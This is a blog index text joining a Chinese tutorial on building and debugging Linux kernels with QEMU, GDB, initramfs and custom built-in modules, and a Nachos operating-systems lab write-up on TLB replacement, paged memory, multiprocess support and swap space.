需要管理员权限sudo mkdir /mnt/tmpdirsudo mount -o loop rootfs.img /mnt/tmpdir/tar -zxvf ubuntu-base-20.04.1-base-amd64.tar.gz -C /mnt/tmpdir/ 然后为了在其上安装必要的基础程序,先配置好 DNS,以及挂载必要的文件系统。 12345sudo cp /etc/resolv.conf /mnt/tmpdir/etc/sudo mount -t proc /proc /mnt/tmpdir/procsudo mount -t sysfs /sys /mnt/tmpdir/syssudo mount -o bind /dev /mnt/tmpdir/devsudo mount -o bind /dev/pts /mnt/tmpdir/dev/pts 挂在好之后,修改根目录。 1sudo chroot /mnt/tmpdir 然后安装必要的软件。以下的软件如果不全部安装,则在启动虚拟机时,会启动失败。以下软件全部安装大概需要 800MB+的空间,因此最初的磁盘不能创建过小。 123456apt-get updateapt-get install language-pack-en-base sudo \\ ssh net-tools ethtool wireless-tools \\ ifupdown network-manager iputils-ping \\ rsyslog htop vim xinit xorg alsa-utils \\ --no-install-recommends 然后给 root 设置一个密码,不然启动虚拟机之后会出现无法登录的尴尬问题。 12345# 根据提示输入新密码即可passwd root# 如果添加了新用户,也可以用该方式设置新用户的密码passwd <user> 最后配置下必要的路由信息和主机名。 12echo "host" > /etc/hostnameecho "127.0.0.1 localhost" >> /etc/hosts 至此基本的配置已经结束。如果有需要可以自行通过apt-get工具下载所需的软件,或是修改本地的配置文件。按下Ctrl D即可退出 chroot 的根目录,回到之前的根目录。 12345sudo umount /mnt/tmpdir/proc/sudo umount /mnt/tmpdir/sys/sudo umount /mnt/tmpdir/dev/pts/sudo umount /mnt/tmpdir/dev/sudo umount /mnt/tmpdir/ 调试通过 QEMU 启动内核 12345# Busybox方式qemu-system-x86_64 -s -kernel /path/to/vmlinux -initrd /path/to/initramfs.cpio.gz -nographic -append "console=ttyS0"# rootfs方式qemu-system-x86_64 -s -kernel /path/to/vmlinux -hda /path/to/rootfs.img -nographic -append "root=/dev/sda console=ttyS0" -s:代表-gdb tcp::1234表明启动一个 gdbserver 并监听端口 1234 -kernel:执行内核程序vmlinux -initrd:指定 initramfs 根文件系统 -hda:指定一个文件作为硬盘 0。 -nographic:取消 QEMU 的图形输出 -append:设置内核启动的 CMDLINE。这里将输出重定向到 console,将会显示在标准输出 stdio。 执行后的根目录,与 initramfs 文件夹一致 一些发行版可能会限制 gdb 脚本的自动加载到已知的安全目录。如果 gdb 报告拒绝加载 vmlinux-gdb.py,执行下列命令。 1echo "add-auto-load-safe-path /path/to/linux-build" >> ~/.gdbinit 然后启动 GDB 12gdb /path/to/vmlinux(gdb) target remote :1234 查看内核提供的 GDB 辅助调试功能 1(gdb) lx-symbols 获取当前进程的 pid 1(gdb) p $lx_current().pid 在函数cmdline_proc_show设置断点,然后在 QEMU 虚拟机内执行cat /proc/cmdline触发断点。触发了之后就可以像普通程序的调试那样调试内核。 1234(gdb) b cmdline_proc_showBreakpoint 1 at 0xffffffff813660e0: file fs/proc/cmdline.c, line 8.(gdb) cContinuing. 最后,如果需要关闭 QEMU 虚拟机,可以在虚拟机使用poweroff命令关机。 内核模块编写添加自定义模块这里添加的内核模块,并不是指在用户态编写并编译完成之后通过 insmod 安装的模块,而是指直接在内核源码中编写的模块,并通过 make 命令一同编译。 以自定义的 hello 模块为例。该模块位于security/integrity/hello。 12345678mkdir security/integrity/hellocd security/integrity/hello# Makefile用于指定编译的规则touch Makefile# Kconfig用于处理menuconfig中需用到的相关变量touch Kconfig# 源码文件touch hello_main.c Kconfig首先打开security/integrity/Kconfig,在其末尾添加上 hello 的 Kconfig 路径。 123source "security/integrity/ima/Kconfig"source "security/integrity/evm/Kconfig"source "security/integrity/hello/Kconfig" 然后仿照格式编写一个简单的 Kconfig 在security/integrity/hello/Kconfig目录下。 这里只是一个极简的写法,表明仅有一个 bool 参数,默认值为 n。 12345config HELLO bool "hello world module" default n help Enable hello world module Makefile同样先处理父级目录security/integrity/Makefile,添加 hello。 123obj-$(CONFIG_IMA) += ima/obj-$(CONFIG_EVM) += evm/obj-$(CONFIG_HELLO) += hello/ 然后仿照 ima 的 makefile 编写security/integrity/hello/Makefile。 123obj-$(CONFIG_HELLO) += hello.ohello-y := hello_main.o 这种 Makefile 写法的解释可以参照相关资料[6-8]。简单来说就是,当变量的值为y或m时,表示编译这个对象。也即根据hello-y编译hello.o,然后如果$(CONFIG_HELLO)为y则会将hello.o编译进内核。 hello_main.c123456789#include <linux/module.h>static int __init init_hello(void){ printk(KERN_ALERT "hello world test!"); return 0;}late_initcall(init_hello); 这里的late_initcall涉及到一个内核初始化顺序的问题。 这个初始化的优先级由include/linux/init.h文件定义,数字越小优先级越高。 这里还存在一个常见的内核模块初始化级别module_init(位于include/linux/module.h)。 结合上面的截图,不难看出module_init的初始化级别等同于device_initcall。 按初始化顺序排序: early_initcall pure_initcall core_initcall postcore_initcall arch_initcall subsys_initcall fs_initcall rootfs_initcall device_initcall、module_init late_initcall 效果1make menuconfig “hello world module”选项即为配置的 hello 模块的 CONFIG_HELLO 参数。 编译并启动内核,可以在dmesg中看到 hello 模块输出的信息 在调试环境下执行程序由于之前通过 busybox 创建的简易的文件系统initramfs包含的内容太少,无法直接在里面运行的第三方程序或者是编译 C 程序。 比如实现了一个函数叫clone_hook。 1234int clone_hook(void) { printk("[clone hook] called by clone!"); return 0;} 然后在kernel/nsproxy.c文件中被调用,即在 clone 调用的相关函数copy_namespaces中添加clone_hook函数的调用。 如果想要测试clone_hook的执行,就需要去执行clone系统调用。这个在正常的操作系统下是没有问题的,但如果使用的是内核调试部分创建的简易文件系统的话,则会执行失败。 如上图所示,如果执行成功则会出现*[clone hook] called by clone!*的信息。然而并没有。(clone_test程序的作用是:执行clone系统调用) 这个问题出现的主要因素在于:clone_test.c 是使用了 C 标准库编写的,自制的 initramfs 文件系统里缺少相关的动态链接库,从而导致了执行的失败。 通过ldd命令查询clone_test程序所需的动态链接库 然后在自制的initramfs目录下,创建同名的lib以及lib64目录。并将所需的动态链接库拷贝到相同的位置。 最后重新打包initramfs.cpio.gz文件,并执行clone_test。这次就可以看到clone_hook成功执行,以及clone_test程序也成功打印出了子进程的pid。 clone_test.c: 12345678910111213141516171819202122232425262728293031323334353637383940414243#define _GNU_SOURCE#include <sched.h>#include <stdio.h>#include <stdlib.h>#include <sys/wait.h>#include <unistd.h>#include <sys/types.h>#include <signal.h>static char child_stack[5000];void grchild(int num){ printf("child(%d) in ns my PID: %d Parent ID=%d\\n", num, getpid(),getppid()); sleep(5); puts("end child");}int child_fn(int ppid) { int i; printf("PID: %ld Parent:%ld\\n", (long)getpid(), getppid()); for(i=0;i<3;i++) { if(fork() == 0) { grchild(i+1); exit(0); } kill(ppid,SIGKILL); // no effect } sleep(2); kill(2,SIGKILL); // kill the first child sleep(10); return 0;}int main() { pid_t pid = clone(child_fn, child_stack+5000, CLONE_NEWPID , getpid()); printf("clone() = %d\\n", pid); waitpid(pid, NULL, 0); return 0;} 加快内核编译速度 无任何配置 ccache 123456789101112131415sudo apt install ccachecd $HOMEvim .bashrc## export USE_CCACHE=1## export CCACHE_DIR="$HOME/.ccache"## export CC="ccache gcc"## export CXX="ccache g++"## export PATH="$PATH:/usr/lib/ccache"source .bashrc# 配置cache的大小ccache -M 30G# 使用方法ccache gcc xxx# ormake CC='ccache gcc' -j$(nproc) 配置了之后,时间更长了。 缓存的命中率较低,可能这就是导致时间开销更多的原因。 initramfs.conf 修改/etc/initramfs-tools/initramfs.conf 配置,MODULES=dep,COMPRESS=lzop 附录附上一个构建脚本 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146#!/bin/bashprint_help() { echo "Usage: run_kernel.sh [-a <append>] (-m/t) <method>" echo " -h: Show this message." echo " -a: append cmdline argument to the kernel running in the qemu. This argument should set before -m or -t." echo " -m: Choose method." echo " 'debug': Start a qemu virtual machine. Initrd is created by busybox." echo " 'init': Package the initramfs directory to the initramfs.cpio.gz. It used in qemu." echo " 'build': Build the linux kernel just with stderr. Additionally, it will run make clean before." echo " -t: rootfs method" echo " 'debug': Start a qemu virtual machine with a vtpm device. Initrd is a rootfs." echo " 'rfs': Create the disk." echo " 'init': mount the rootfs to set up." echo " 'uinit': after init, umount the rootfs."}if [ $# -eq 0 ]; then print_helpfiwhile getopts "hm:a:t:" optname; do case "$optname" in "h") print_help ;; "a") CMDLINE="$OPTARG" ;; # "i") # INITRD="$OPTARG" # if [ -z "$INITRD" ] # then # echo "initrd file is needed!" # print_help # exit 1 # elif [ ! -f "$INITRD" ] # then # echo "$INITRD: No such file!" # exit 1 # fi # ;; "m") if [ "$OPTARG"x = "debug"x ]; then # if the process 'qemu-system-x86_64' is running in the background, kill the process pid=$(ps -ef | grep 'qemu-system-x86_64' | grep -v 'grep' | awk '{print $2}') if [ ! $pid ]; then echo "the process 'qemu-system-x86_64' is not run!!!" else echo "the process 'qemu-system-x86_64' is running!!!" kill -9 $pid echo "the process 'qemu-system-x86_64' has been killed!!" fi echo run kernel in qemu for debug qemu-system-x86_64 -m 1024 -enable-kvm -s -kernel ./vmlinux -initrd ./initramfs.cpio.gz -nographic -append "console=ttyS0 $CMDLINE" elif [ "$OPTARG"x = "init"x ]; then echo package the initramfs echo "Copy Device file, permission needed!" cd initramfs # sudo rm -rf dev/ proc/ sys/ # mkdir sys proc dev # sudo cp -a /dev/{null,console,tty,tty1,tty2,tty3,tty4} dev/ find . -print0 | cpio --null -ov --format=newc | gzip -9 >../initramfs.cpio.gz cd - elif [ "$OPTARG"x = 'build'x ]; then echo start build linux kernel time make -j$(nproc) >/dev/null elif [ "$OPTARG"x = 'disk'x ]; then dd if=/dev/zero of=test.disk bs=512 count=$((32 * 1024 * 1024 / 512)) mkfs.ext4 -q test.disk else print_help fi ;; "t") if [ "$OPTARG"x = "debug"x ]; then # qemu-system-x86_64 -enable-kvm \\ # -m 1024 -boot d -bios $SEABIOS/bios.bin \\ # -tpmdev passthrough,id=tpm0,path=/dev/vtpm0 \\ # -device tpm-tis,tpmdev=tpm0 \\ # -kernel ./vmlinux -hda ./rootfs.img \\ # -nographic -append "root=/dev/sda console=ttyS0 $CMDLINE" qemu-system-x86_64 -m 1024 -enable-kvm -s \\ -boot d -bios $SEABIOS_PATH/bios.bin \\ -kernel ./vmlinux -hda ./rootfs.img \\ -nographic -append "root=/dev/sda console=ttyS0 $CMDLINE" elif [ "$OPTARG"x = "rfs"x ]; then dd if=/dev/zero of=rootfs.img bs=10240 count=1M sudo mkfs.ext4 -F -L linuxroot rootfs.img wget http://cdimage.ubuntu.com/cdimage/ubuntu-base/releases/20.04/release/ubuntu-base-20.04.1-base-amd64.tar.gz -O ubuntu-base-amd64.tar.gz sudo rmdir /mnt/tmpdir sudo mkdir /mnt/tmpdir sudo mount -o loop rootfs.img /mnt/tmpdir/ sudo tar -zxvf ubuntu-base-amd64.tar.gz -C /mnt/tmpdir/ sudo cp /etc/resolv.conf /mnt/tmpdir/etc/ sudo mount -t proc /proc /mnt/tmpdir/proc sudo mount -t sysfs /sys /mnt/tmpdir/sys sudo mount -o bind /dev /mnt/tmpdir/dev sudo mount -o bind /dev/pts /mnt/tmpdir/dev/pts sudo chroot /mnt/tmpdir apt-get update && \\ apt-get install -y \\ language-pack-en-base \\ sudo \\ ssh \\ net-tools \\ ethtool \\ wireless-tools \\ ifupdown \\ network-manager \\ iputils-ping \\ rsyslog \\ htop \\ vim \\ xinit xorg \\ alsa-utils \\ attr \\ --no-install-recommends && \\ passwd elif [ "$OPTARG"x = "init"x ]; then sudo rmdir /mnt/tmpdir sudo mkdir /mnt/tmpdir sudo mount -o loop ./rootfs.img /mnt/tmpdir/ sudo mount -t proc /proc /mnt/tmpdir/proc sudo mount -t sysfs /sys /mnt/tmpdir/sys sudo mount -o bind /dev /mnt/tmpdir/dev sudo mount -o bind /dev/pts /mnt/tmpdir/dev/pts sudo chroot /mnt/tmpdir elif [ "$OPTARG"x = "uinit"x ]; then sudo umount /mnt/tmpdir/proc/ sudo umount /mnt/tmpdir/sys/ sudo umount /mnt/tmpdir/dev/pts/ sudo umount /mnt/tmpdir/dev/ sudo umount /mnt/tmpdir/ else print_help fi ;; "?") print_help ;; esacdone 相关资料 使用 QEMU 和 GDB 调试 Linux 内核 About initramfs Linux 内核 0-使用 QEMU 和 GDB 调试 Linux 内核 Debugging kernel and modules via gdb Linux 内核配置以及 Make menuconfig 过程分析 KConfig 使用介绍 Whats meaning of obj-y += something/ in linux kernel Makefile? linux 内核可加载模块的 makefile Linux 内核的 Makefile 内核初始化的模块顺序 Documentation/kbuild/modules.txt QEMU+gdb 调试 Linux 内核全过程 Qemu 调试内核环境搭建","link":"/2021/07/08/Linux%E5%86%85%E6%A0%B8%E5%BC%80%E5%8F%91%E4%B8%8E%E8%B0%83%E8%AF%95/"},{"title":"Nachos Lab02 虚拟内存","text":"第一部分 TLB异常处理Exercise1 源代码阅读 阅读code/userprog/progtest.cc,着重理解nachos执行用户程序的过程,以及该过程中与内存管理相关的要点 Code/userprog/progtest.cc:该文件最重要的就是StartProcess函数,该函数指明了如何启动用户进程。它接收一个文件名,在函数中会打开传入的可执行文件,然后为可执行文件创建地址空间(即将可执行文件内存储的信息放入内存),接着初始化寄存器以及调用RestoreState函数将由Addrspace类内部创建的页表指针传递给machine,最后调用machine->Run()函数来跳转到用户进程执行。 具体过程如下: 在StartProcess中调用AddrSpace创建用户空间,将可执行文件读入内存 调用InitRegisters初始化寄存器,及调用RestoreState将用户线程的页表装入machine 调用machine->Run()执行用户线程的指令。 通过OneInstruction来执行指令。如果OneInstruction顺利执行,则会将PC增加,从而实现执行下一条指令。如果执行出错(即ReadMem和WriteMem出错),则会进行异常处理;异常处理结束后,由于PC并未增加,因此出现错误的指令会被再次执行。 当程序执行到末尾时,会执行start.s中的Exit指令。最终通过系统调用SyscallException中的SC_Exit调用,进行程序结束处理。由于进入到这里处理之后,用户程序已经执行结束,PC不会自动增加,系统(可能)会反复执行Exit调用。对于存在多用户线程的情况,需要在此处手动将PC增加,从而维持后续线程的执行。 阅读code/machine目录下的machine.h(cc),translate.h(cc)文件和code/userprog目录下的exception.h(cc),理解当前Nachos系统所采用的TLB机制和地址转换机制。 TLB机制和地址转换机制:Nachos的machine中有两个指针,分别是tlb和pageTable。当tlb指针不为空时,nachos会逐一遍历tlb表,检查其内部的valid值以及虚拟页号(virtualPage)与计算出的vpn值是否一致(其中,vpn是通过对传入的虚拟地址取高25位获得,低7位代表偏移量,即磁盘块大小为128字节)。如果二者均满足,则代表tlb命中,返回NoException信号;否则会返回一个缺页异常(PageFaultException)信号。如果tlb指针为空,则会去检查pageTable[vpn]的valid值,并直接根据vpn获取页。获取到了虚拟页表项之后,取出其中存储的物理页框号,最后根据公式physAddr = pageFrame * PageSize + offset,计算得出物理地址,完成虚拟地址到物理地址的转换。 Exercise2 TLB MISS异常处理 修改code/userprog目录下exception.cc中的ExceptionHandler函数,使得Nachos系统可以对TLB异常进行处理(TLB异常时,Nachos系统会抛出PageFaultException,详见code/machine/machine.cc) 思路通过阅读translate.cc文件,易得知地址转换工作就是发生在Machine::Translate函数中。如果转换过程中出现问题,该函数会抛出异常,如缺页异常(PageFaultException)。检索地址转换函数被调用的位置可以得知,该函数会被ReadMem或WriteMem函数调用。 查看这两个读写内存函数可以得知,由Translate返回的异常会被送入RaiseException函数引起异常(machine->RaiseException(exception, addr);)。进一步跟进到RaiseException函数的实现,可以看到它将产生异常的虚拟地址送入到BadVAddrReg寄存器中。 所以在异常处理函数ExceptionHandler中,新增对缺页异常的处理。然后通过读取BadVAddrReg寄存器来获取虚拟地址,从而实现从pageTable向tlb调页。 实现修改异常处理函数ExceptionHandler,增加对缺页异常的处理。关于对装载页函数LoadPage的实现,参见Exercise3。(注: tlb[i].time是为了置换算法新增的属性) 12345678910111213141516171819202122/* * userprog/exception.cc中的ExceptionHandler */else if (which == PageFaultException) { DEBUG('m', "Page miss, swap page!\\n"); // 获取引发异常的虚拟地址,然后交给装载页函数处理 int badVAddrReg = machine->ReadRegister(BadVAddrReg); machine->LoadPage(badVAddrReg); printTLB(machine->tlb, TLBSize);}/*void printTLB(TranslationEntry *tlb, int size) { printf("==============TLB with size %d==============\\n", size); printf("time vPg pPg valid rdOnly use dirty\\n"); for (int i = 0; i < size; i++) { printf("%d %d %d %d %d %d %d\\n", tlb[i].time, tlb[i].virtualPage, tlb[i].physicalPage, tlb[i].valid, tlb[i].readOnly, tlb[i].use, tlb[i].dirty); } printf("==============TLB END==============\\n");}*/ 这里的LoadPage使用FIFO置换算法。由于Nachos默认没有启用TLB,可以修改userprog/Makefile添加USE_TLE的宏以启动TLB(如果发现添加了之后依然没启用TLB,参见下文困难1的解决方案)。 为了更好的看效果,将TLBSize改为2。 1234/* * machine/machine.h */#define TLBSize 2 // if there is a TLB, make it small 然后使用./userprog/nachos -x test/halt命令来进行测试(注:可以使用-d am参数来输出相关的debug信息,a和m代表的函数见threads/utility.h)。 如果执行出现如下错误,需要注释code/machine/translate.cc中Translate内部的ASSERT函数,因为该函数阻止了tlb和pageTable同时启用。 每次执行完缺页中断后输出TLB表的信息,最后测试结果如下。可以看到TLB表按照FIFO的规则替换。 Exercise3 置换算法 为TLB机制实现至少两种置 换算法,通过比较不同算法的置换次数可比较算法的优劣。 思路此处实现的是FIFO和LRU算法。 对于FIFO,使用一个属性time来记录页换入TLB的时间。置换策略为:如果TLB还有剩余空间(即存在invalid的项),则直接将新页换入;否则,淘汰TLB中最早换入的项,并换入新页。 对于LRU,同样使用time属性来记录页最后一次被访问的时间(或最后一次TLB命中的时间)。置换策略为:如果TLB还有剩余空间(即存在invalid的项),则直接将新页换入;否则,淘汰TLB中最近最久未被访问的项,并换入新页。 这个时间可以使用stats中记录的总时间totalTicks。并且由于该值是int类型,FIFO和LRU均等价于查找time属性最小的项进行淘汰。 实现首先实现一个通用(不仅适用与tlb也适用内存缺页)的装载函数LoadPage对缺页进行处理,这里暂时只考虑对TLB缺页进行处理,而不考虑内存缺页的情况,因此调度算法中均假定需要访问的页均在页表中。在此处实现了FIFO和LRU两种置换算法。 12345678910/* * machine/machine.h中的Machine类 */private: // tlb缺页处理函数 void TlbSwap_FIFO (unsigned int vpn); void TlbSwap_LRU(unsigned int vpn);public: // 页装载处理函数 void LoadPage(int virtAddr); 其中LoadPage中同时考虑了页表缺页和tlb缺页两种情况。如果没有启用tlb,则必然是内存页表缺页;如果启用了tlb,也需要考虑内存页表是否缺页,先处理内存缺页,再处理tlb缺页。因此此处暂不考虑内存缺页的情况,因此相关的处理代码暂时先不写。 123456789101112131415161718void Machine::LoadPage(int virtAddr) { unsigned int vpn = (unsigned) virtAddr / PageSize; unsigned int offset = (unsigned) virtAddr % PageSize; if (machine->tlb == NULL) { // 如果tlb为NULL引发PageFaultException的原因是pageTable[vpn].valid为false return; } else { // 此时表明tlb未命中,因此执行tlb置换策略 if (!(machine->pageTable[vpn]).valid) { /* 如果页表也缺页,先给页表调页 */// printf("=====> %s Page Table Swap!\\n", currentThread->getName()); } // 为tlb调页// printf("=====> %s TLB Swap!\\n", currentThread->getName()); TlbSwap_LRU(vpn); }} 对于FIFO算法,需要记录每个转换表项换入TLB中的时间,所以转换表项TranslationEntry类中增加一个time的变量,用于记录每个表项换入TLB的时间。其时间值来自于stats对象中记录的totalTicks值。FIFO算法的实现思路为:遍历TLB表,如果出现未使用的项(即valid为FALSE),则直接从pageTable复制信息到TLB中,并记录换入的时间;如果所有的项均使用(即valid为TRUE),则根据规则,选择淘汰最早被换入的项,然后换入新表项。 12345678910111213141516171819202122232425262728293031323334void Machine::TlbSwap_FIFO(unsigned int vpn) { int min_tlb_in_time = 0x7fffffff; int min_idx = 0; int i; for (i = 0; i < TLBSize; i++) { if (!tlb[i].valid) { // pageTableSize缺页的情况暂不考虑 swap_from_pgtable_to_TLB(tlb[i], pageTable[vpn]); tlb[i].time = stats->totalTicks; break; } else if (tlb[i].time < min_tlb_in_time){ min_idx = i; min_tlb_in_time = tlb[i].time; } } // 如果i与TLBSize相等则说明,TLB中所有的项都是valid,此时需要淘汰掉最早进入的项 if (i == TLBSize) { swap_from_pgtable_to_TLB(tlb[min_idx], pageTable[vpn]); tlb[min_idx].time = stats->totalTicks; }}/*void swap_from_pgtable_to_TLB(TranslationEntry &tlbEntry, TranslationEntry &pgTableEntry) { tlbEntry.virtualPage = pgTableEntry.virtualPage; tlbEntry.physicalPage = pgTableEntry.physicalPage; tlbEntry.valid = TRUE; tlbEntry.readOnly = pgTableEntry.readOnly; tlbEntry.use = pgTableEntry.use; tlbEntry.dirty = pgTableEntry.dirty;}*/ 对于LRU算法,也是使用变量time来记录每个表项最后一次被访问的时间,然后该值会在Translate函数中被更新,即每次TLB命中时,会同时更新最后被访问的时间。LRU算法在实现上与FIFO算法完全一致,唯一的区别就是LRU会在TLB命中时更新time的值。 123456789101112/* * machine/translate.cc */else { for (entry = NULL, i = 0; i < TLBSize; i++) if (tlb[i].valid && (tlb[i].virtualPage == vpn)) { entry = &tlb[i]; // FOUND! // LRU算法,更新访问时间 tlb[i].time = stats->totalTicks; break;} 两种置换算法的比较使用test/halt进行测试。由于halt仅是一个空程序,只占用很少的页,所以修改器程序代码,对一个二位数组按行遍历,代码如下图。 然后在machine/machine.h中添加两个计数变量,并在machine/translate.cc的头部将其初始化为0。 123456789101112131415161718192021222324// machine/machine.hextern int TLBMissCount;extern int TranslateCount;// machine/translate.cc顶部int TLBMissCount = 0;int TranslateCount = 0;// machine/translate.cc中Translate,在未命中处累加if (entry == NULL) { // not found TLBMissCount++; // machine/translate.cc中Translate,进入该函数就累加TranslateCount++;// userprog/exception中ExceptionHandler,// 因为全面提到的halt程序执行了Halt函数,所以在Halt异常处打印统计结果 if (which == SyscallException) { if (type == SC_Halt) { DEBUG('a', "Shutdown, initiated by user program.\\n"); printf("TLB Miss: %d, TLB Hit: %d, Total Translate: %d, TLB Miss Rate: %.2lf%%\\n", TLBMissCount, TranslateCount-TLBMissCount, TranslateCount, (double)(TLBMissCount*100)/(TranslateCount)); interrupt->Halt(); 测试halt程序结果如下(这里仍是以TlbSize为2进行测试的): FIFO置换算法 LRU算法 相比之下,可以看到LRU算法的缺页率略低于FIFO算法。 第二部分 分页式内存管理Exercise 4 内存全局管理数据结构 设计并实现一个全局性的数据结构(如空闲链表、位图等)来进行内存的分配和回收,并记录当前内存的使用状态。 思路在Machine类中新增一个位图数据结构来管理内存空间。然后在每次分配物理页的时候,先从位图中查找一块未使用的物理页并在位图中将其置1,然后返回物理块号并将页表项设为valid。反之,在回收的时候,直接在位图中将该物理页置0,并将页表项设为invalid。 实现考虑到Nachos中已经实现了一个位图的数据结构,位于userprog/bitmap.h(cc)中。因此直接在machine.h文件中#include "bitmap.h",并且在Machine类中添加用于内存管理的位图指针memBitMap(BitMap *memBitMap;)。因为调用的都是BitMap中的方法,为了简便将该指针设为public。该指针在Machine构造函数中被初始化,其位图的大小为物理页数量NumPhysPages。 1234/* * machine/machine.cc中Machine构造函数 */memBitMap = new BitMap(NumPhysPages); 由progtest.cc文件可知,用户进程在Addrspace中初始化用户空间,因此修改Addrspace类的构造函数。对pageTable初始化的部分,将物理页的分配改为从内存位图中获取第一个未分配(即位值为0)的物理页。此处加上了断言函数,因为如果位图没有找到值为0的位,则会返回-1。 1234567/* * userprog/addrspace.cc中的Addrspace构造函数 */int phyPage = machine->memBitMap->Find();DEBUG('m', "Physical memory page %d is allocated!\\n", phyPage);ASSERT(phyPage != -1);pageTable[i].physicalPage = phyPage; 紧接着改造exception.cc中的异常处理函数。由该函数可知,Nachos仅实现了Halt调用的处理,没有对Exit调用(即用户进程退出时执行的系统调用)的处理。因此增加Exit调用的处理,并实现从内存位图中回收所有的物理页,然后对将要结束的进程执行*Finish()*方法。 1234567891011121314151617181920212223 if (which == SyscallException) { if (type == SC_Halt) { DEBUG('a', "Shutdown, initiated by user program.\\n"); interrupt->Halt(); } else if (type == SC_Exit) { DEBUG('a', "User program Exit!\\n"); if (currentThread->space != NULL) { for (unsigned int i = 0; i < machine->pageTableSize; i++) { // 回收物理空间 int phyPage = machine->pageTable[i].physicalPage; DEBUG('m', "Physical memory page %d is cleared!\\n", phyPage); machine->memBitMap->Clear(phyPage); } // 此处本质上是实现了exit系统调用 // 回收space空间,执行进程Finish函数 delete currentThread->space; currentThread->space = NULL; currentThread->Finish(); }} 测试结果如下(因为使用了DEBUG方式来输出信息,因此截图中省略了与该实现无关的信息): Exercise 5 多线程支持 目前Nachos系统的内存中同时只能存在一个线程,我们希望打破这种限制,使得Nachos系统支持多个线程同时存在于内存中。 思路因为Addrspace类涉及用户空间的创建,因此阅读它的相关代理来了解用户程序是如何被读入内存的。查看Addrspace的构造函数可以发现,它创建用户空间的时候会先把内存写0,然后将可执行程序的代码(code)以及数据初始化部分(initData)完整地顺序写入内存。 1234567891011121314151617181920/* * userprog/addrspace.cc中Addrspace构造函数 */// zero out the entire address space, to zero the unitialized data segment // and the stack segment bzero(machine->mainMemory, size);... if (noffH.code.size > 0) { DEBUG('a', "Initializing code segment, at 0x%x, size %d\\n", noffH.code.virtualAddr, noffH.code.size); executable->ReadAt(&(machine->mainMemory[noffH.code.virtualAddr]), noffH.code.size, noffH.code.inFileAddr);}if (noffH.initData.size > 0) { DEBUG('a', "Initializing data segment, at 0x%x, size %d\\n", noffH.initData.virtualAddr, noffH.initData.size); executable->ReadAt(&(machine->mainMemory[noffH.initData.virtualAddr]), noffH.initData.size, noffH.initData.inFileAddr); 所以为了实现多线程同时存在内存,需要让用户数据支持按页离散存放。可以采取逐字节读取数据,然后计算其存放的物理地址并存入内存。 实现基于上一个Exercise实现的内存全局管理,使得用户进程允许离散位置的物理空间分配。但是在Addrspace的构造函数中可以看到,创建一个用户进程的时候会把内存空间置零。因此如果要支持多个进程同时存在内存,需要将该行代码bzero(...)注释。 然后修改可执行程序的代码写入内存的方式。原来的方法是按照虚拟内存来一次性线性写入内存,但是这种方式不适合多线程的支持。因此按照下述的方式,以字节为单位把内容一一写入到进程所分配到的物理页当中。简单来说就是读取每一个字节,然后根据页表计算物理地址,最后在其内写入数据,其中物理页号由之前位图分配给页表。对于code部分处理方式如下图,initData的处理方式类似。 最后修改exception.cc中的Exit系统调用处理部分,在处理的最后加入下述代码,使PC+4从而切换到下一个线程。(这里暂时没弄清楚为什么PC+4可以引发进程切换) 123456/* * userprog/exception.cc中SC_Exit */// PC + 4int nextPc = machine->ReadRegister(NextPCReg);machine->WriteRegister(PCReg, nextPc); 另外当进程切换时,需要将该进程所有的TLB项失效。因此在SaveState时将所有的TLB项设为invalid。 12345678910/* * userprog/addrspace.cc */void AddrSpace::SaveState() { // 因为上下文切换时,旧进程的TLB全部失效,因此全部置为invalid for (unsigned int i = 0; i < TLBSize; i++) { machine->tlb[i].valid = FALSE; }} 最后修改测试函数,让它能够同时执行两个线程: 12345678910111213141516/* * userprog/progtest.cc */// multi process testvoid TestMultiProc(char *filename) { Thread * thread_1 = new Thread("thread 1"); Thread * thread_2 = new Thread("thread 2"); thread_1->setPriority(10); thread_2->setPriority(5); thread_1->Fork(StartProcess, (void *)filename); thread_2->Fork(StartProcess, (void *)filename); currentThread->Yield();} 同时main.cc也要做修改,以调用TestMultiProc 12345678/* * threads/main.cc中main */#ifdef USER_PROGRAM if (!strcmp(*argv, "-x")) { // run a user program ASSERT(argc > 1); TestMultiProc(*(argv + 1)); argCount = 2; 测试结果如下: Exercise 6 缺页中断处理 基于TLB机制的异常处理和页面替换算法的实践,实现缺页中断处理(注意!TLB机制的异常处理是将内存中已有的页面调入TLB,而此处的缺页中断处理则是从磁盘中调入新的页面到内存)、页面替换算法等。 思路设计一个所有进程都能访问到的全局交换空间。该空间可以利用文件系统fileSystem来创建,从而实现内存页面被换出到磁盘上,或磁盘上的页换入到内存中。 同时该交换空间需要一个管理机制,可以参照物理页的分配一样使用位图管理。同时还需要在页表项中新增一个交换地址,用于查找被换出到交换空间的页。 实现首先在Nachos中实现一个简易的交换分区。在Machine类中增加两个公共成员,交换分区位图swapBitMap,以及交换分区的磁盘文件swapFile。并在Machine构造函数中将其初始化为内存的两倍大小,另外交换分区一页的大小与内存一页大小相等。以及在~Machine析构函数中将它们删除。 12345678910111213141516171819/* * machine/machine.h中Machine类 */BitMap *swapBitMap; // 交换页位图OpenFile *swapFile;/* * machine/machine.cc中Machine构造函数 */swapBitMap = new BitMap(NumPhysPages * 2);fileSystem->Create("VirtualMemory", MemorySize * 2);swapFile = fileSystem->Open("VirtualMemory");/* * machine/machine.cc中~Machine析构函数 */delete swapBitMap;fileSystem->Remove("VirtualMemory");delete swapFile; 然后给页表项的结构中加入swapPage成员,用于记录当前页存储在交换分区的页号,在初始化的时候swapPage的值为-1。该值与valid值不同时使用,即当分配物理页使得valid为TRUE时,页调入内存中,交换分区会回收之前分配给该页的空间。因此如果要将页从内存换出到交换分区时,需要重新分配交换分区页。 12345678910111213141516171819202122232425/* * machine/translate.h */class TranslationEntry { public: int time; // 用于置换算法的凭据, // 对于FIFO是记录该项进入tlb或者页表的时间, // 对于LRU是记录该项最近被访问的时间 int swapPage; // 交换分区页号,它和valid不能共存,即如果有物理块号,则必然不会有交换分区页号 int virtualPage; // The page number in virtual memory. int physicalPage; // The page number in real memory (relative to the // start of "mainMemory" bool valid; // If this bit is set, the translation is ignored. // (In other words, the entry hasn't been initialized.) bool readOnly; // If this bit is set, the user program is not allowed // to modify the contents of the page. bool use; // This bit is set by the hardware every time the // page is referenced or modified. bool dirty; // This bit is set by the hardware every time the // page is modified.}; 